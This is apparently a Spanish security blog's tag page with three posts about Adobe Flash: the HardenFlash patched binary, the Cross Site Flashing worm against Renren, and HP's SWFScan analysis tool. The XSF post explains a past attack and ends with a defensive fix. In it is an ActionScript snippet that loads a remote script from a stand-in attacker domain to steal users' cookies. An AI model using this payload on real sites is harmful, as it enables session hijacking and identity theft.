Mostrando entradas con la etiqueta flash. Mostrar todas las entradas
Mostrando entradas con la etiqueta flash. Mostrar todas las entradas

07 mayo 2015

Flash securizado = HardenFlash

Hablar de Adobe Flash es hablar de uno de los vectores más importantes de infección de un sistema Windows junto con Java y por tanto, uno de los quebraderos de cabeza más serios a la hora de evitar, por ejemplo, las temidas infecciones de Ransomwares.

El ritmo al que se publican vulnerabilidades junto con su consiguiente exploit es notablemente alto si lo comparamos con otros productos.

Hace poco se ha publicado un proyecto cuya misión es parchear el complemento flash original de Adobe y añadirle varios niveles de seguridad para hacerlo más robusto. El proyecto se llama HardenFlash

Un gran número de vulnerabilidades de dicho complemento son explotadas mediante la técnica 'vector spray' (publicada en 2013) y aunque Adobe es muy consciente de ello, parece que no se termina de decidir a la hora de aplicar medidas que permitan detectar y detener exploits que usen dicha técnica.

Por ello, han liberado un binario alternativo que han parcheado para hacerlo más confiable frente a ese tipo de ataques.

De momento han liberado una implementación para Internet Explorer bajo Windows 7, aunque el proyecto pretende avanzar hacia más arquitecturas.

Independientemente de la indudable utilidad del proyecto, cabe preguntarse en qué lugar deja esto a Adobe: alguien ajeno a la empresa, emplea un buen número de horas para 'reversear' su software, entenderlo y aplicarle mejoras a nivel binario (mucho más duro y tedioso que hacerlo con el código fuente en mano)

Merece la pena ojear la parte del proyecto donde explican a nivel técnico lo que han hecho con el binario de Flash
Leer más...

26 agosto 2009

XSF: Ataque web encapsulado en Flash

Supongo que nuestros lectores habrán oido hablar del gusano que afectó a la red social Twitter allá por el mes de abril. De hecho, Laura publicó un artículo sobre la contratación del creador del mismo aquí. El ataque consistía en que gracias a una vulnerabilidad del tipo XSS (Cross-Site Scripting) permitía suplantar la identidad de un montón de usuarios atacados y twittear desde su cuenta.

En este caso, el objetivo de los ataques ha sido la red social china Renren. Para ello se ha utilizado una variante de ataque XSS encapsulado mediante archivos Flash. Como resultado, este ataque se ha llamado XSF o Cross Site Flashing.

¿Cómo se llevó a cabo el ataque?
La red social Renren permite, al igual que otras como Facebook o Tuenti, permite compartir contenido multimedia. Para ello se puede hacer mediante videos o en formato Flash. Para este último, el enlace a un fichero SWF, se hace mediante una función llamada playswf() que crea una porción de código así:

<embed src=”"+o.filename+”” type=”application/x-shockwave-flash”

“+”width=”"+(o.width||”320″)+”” height=”"+(o.height||”240″)+”” allowFullScreen=”true”

wmode=”"+(o.wmode||”transparent”)+”” allowScriptAccess=”always” ></embed>


Atención especial merece el parámetro "allowScriptAccess". Gracias a él se limita el nivel de acceso que el objeto "embebido" tendrá sobre el resto de la página HTML. Si se asigna "allowScriptAccess=sameDomain" el objeto flash, sólo tendrá acceso a la página HTML si se llama desde el mismo dominio, haciendo falta que el atacante subiera el fichero a ejecutar al mismo dominio, utilizando alguna otra técnica.
Sin embargo, en condiciones en las que el parámetro allowScriptAccess tenga el valor "always", el objeto flash tiene acceso a cualquier parte de la sesión HTML, como por ejemplo, las cookies. 1, 2, 3,... responda otra vez: Las Cookies.

A partir de aquí el resto del ataque consiste en crear un objeto flash en el que se pueda incluir en el fichero Flash una porción de código que ejecute un Javascript malicioso que envíe las cookies de los usuarios que vean ese "inocente" flash a una localización remota. A partir de ahí el atacante contará con acceso a la identidad de un montón de usuarios.

Por ejemplo,


var fun = 'var x=document.createElement("SCRIPT");x.src="http://www.delatacante.com/malicioso.js"; x.defer=true;document.getElementsByTagName("HEAD")[0].appendChild(x);';

    flash.external.ExternalInterface.call('eval', fun);
  


Asimismo, el usuario final verá el flash sin saber que ha ejecutado código Javascript malicioso robando su cookie.

El ataque a la red social Renren, además consistía en aprovechar las credenciales del individuo para enviar el video a todos sus contactos.

Como podéis ver, XSS encapsulado en un objeto Flash embebido en una página web... gracias a excesivos permisos para ese objeto. Recomendación, si tenéis algún tipo de sitio web que permita compartir este tipo ficheros, forzad el parámetro "allowScriptAccess" a "samedomain".
Leer más...

25 marzo 2009

Análisis de Adobe Flash

Uno de los controles que la metodología OWASP contempla es el análisis de archivos web Adobe Flash (.swf). que en numerosas ocasiones presentan vulnerabilidades explotables o información sensible vital para que la revisión sea completa.

Para analizar la seguridad de estos archivos compilados, primero se utilizan herramientas de decompilación, como por ejemplo SWF Decompiler (comercial) o Flare (gratuita), que muestran los objetos y código (en ActionScript) y posteriormente se analiza en busca de vulnerabilidades. Al igual que se haría para un applet en Java o un ActiveX.

No existen muchas aplicaciones que ayuden a esta revisión de código, como erlswf, y permita semi-automatizarla, como ocurre para otros lenguajes. Por este motivo HP, que tras la compra de SpiDynamics en 2007 ha demostrando su interés por la seguridad web, ha liberado SWFScan, una herramienta que facilita esta labor. Su formato es similar a Scrawl, otra pequeña utilidad de HP para la detección de SQL Injections.

En las pruebas que hemos realizado ha funcionado de una forma más que aceptable, ya que además de los análisis de seguridad de código fuente, realiza la decompilación previa.

Entre sus características principales está la posibilidad de seleccionar entre más de 60 pruebas a realizar, comprobar las buenas prácticas de Adobe y decompilar ActionScript en su versión 2 y 3.

Otras características contemplan:
  • Señalización del código vulnerable
  • Reporte de vulnerabilidades con explicación y recomendación
  • Generación de un informe en HTML (un poco pobre, todo sea dicho de paso)
  • Exportación del código fuente
  • Identificación de todas las URLs
  • Señalización de funciones que puedan ser críticas, como crypt() o loadedUserXml
Este software nos hace pensar que es posible que el motor de la herramienta o una versión mejorada se incluya en su aplicación de análisis web WebInspect y esta, está muy lejos de ser gratuita.

La siguiente captura muestra un análisis sobre un archivo que almacena en el propio código fuente los usuarios y contraseñas (risas).


La configuración de las distintas pruebas que permite analizar:


Más información:
http://www.adobe.com/devnet/flashplayer/articles/swfscan.html
http://www.communities.hp.com/securitysoftware/blogs/spilabs/archive/2009/03/20/exposing-flash-application-vulnerabilities-with-swfscan.aspx
Leer más...